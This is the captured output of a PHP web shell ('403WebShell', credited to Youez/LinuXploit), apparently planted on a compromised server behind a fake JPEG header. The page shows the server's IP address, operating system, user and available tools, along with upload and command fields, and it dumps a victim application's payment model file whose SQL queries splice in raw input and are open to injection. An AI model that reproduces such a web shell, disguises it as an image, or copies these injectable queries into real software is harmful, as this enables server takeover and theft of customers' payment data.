����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.144.162.109
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/var/www/html/app6/core/app/model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /proc/self/root/var/www/html/app6/core/app/model/PaymentData.php
<?php
class PaymentData {
	public static $tablename = "payment";

	public function PaymentData(){
		$this->name = "";
	}

	public function getClient(){ return PersonData::getById($this->person_id); }
	public function getPaymentType(){ return PaymentTypeData::getById($this->payment_type_id); }



	public function add(){
		$sql = "insert into ".self::$tablename." (person_id,sell_id,val,payment_type_id,created_at) ";
		$sql .= "value (\"$this->person_id\",$this->sell_id,$this->val,1,NOW())";
		Executor::doit($sql);
	}


	public function add_payment($person_id,$val){
		$sql = "insert into ".self::$tablename." (person_id,val,payment_type_id,created_at) ";
		$sql .= "value (\"$person_id\",$val,2,NOW())";
		Executor::doit($sql);
	}

	public static function delById($id){
		$sql = "delete from ".self::$tablename." where id=$id";
		Executor::doit($sql);
	}

	public function del(){
		$sql = "delete from ".self::$tablename." where id=$this->id";
		Executor::doit($sql);
	}


	public static function getById($id){
		 $sql = "select * from ".self::$tablename." where id=$id";
		$query = Executor::doit($sql);
		return Model::one($query[0],new PaymentData());
	}
	
	public static function getByIdMax(){
		 $sql = "SELECT @@identity AS id";
		$query = Executor::doit($sql);
		return Model::one($query[0],new PaymentData());
	}

	public static function getByName($name){
		 $sql = "select * from ".self::$tablename." where name=\"$name\"";
		$query = Executor::doit($sql);
		return Model::one($query[0],new PaymentData());
	}


	public static function getAll(){
		$sql = "select * from ".self::$tablename." order by created_at desc";
		$query = Executor::doit($sql);
		return Model::many($query[0],new PaymentData());	
	}

	public static function getAllByDate($start,$end){
		$sql = "select * from ".self::$tablename." where (date(created_at)>=\"$start\" and date(created_at)<=\"$end\") and payment_type_id=2 order by created_at desc";
		$query = Executor::doit($sql);
		return Model::many($query[0],new PaymentData());	
	}

	public static function getAllByDateAndClient($start,$end,$id){
		$sql = "select * from ".self::$tablename." where (date(created_at)>=\"$start\" and date(created_at)<=\"$end\") and payment_type_id=2 and person_id=$id order by created_at desc";
		$query = Executor::doit($sql);
		return Model::many($query[0],new PaymentData());	
	}

	public static function getAllByClientId($id){
		$sql = "select * from ".self::$tablename." where person_id='$id' order by created_at desc";
		$query = Executor::doit($sql);
		return Model::many($query[0],new PaymentData());	
	}
	
	public static function sumByClientId($id){
		$sql = "select SUM(val) as total from ".self::$tablename." where person_id=$id";
		$query = Executor::doit($sql);
		return Model::one($query[0],new PaymentData());	
	}
	
	public static function sumByClientId2($id){
		$sql = "select SUM(discount) as total from sell where person_id='$id' and p_id=4";
		$query = Executor::doit($sql);
		return Model::one($query[0],new PaymentData());	
	}


}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit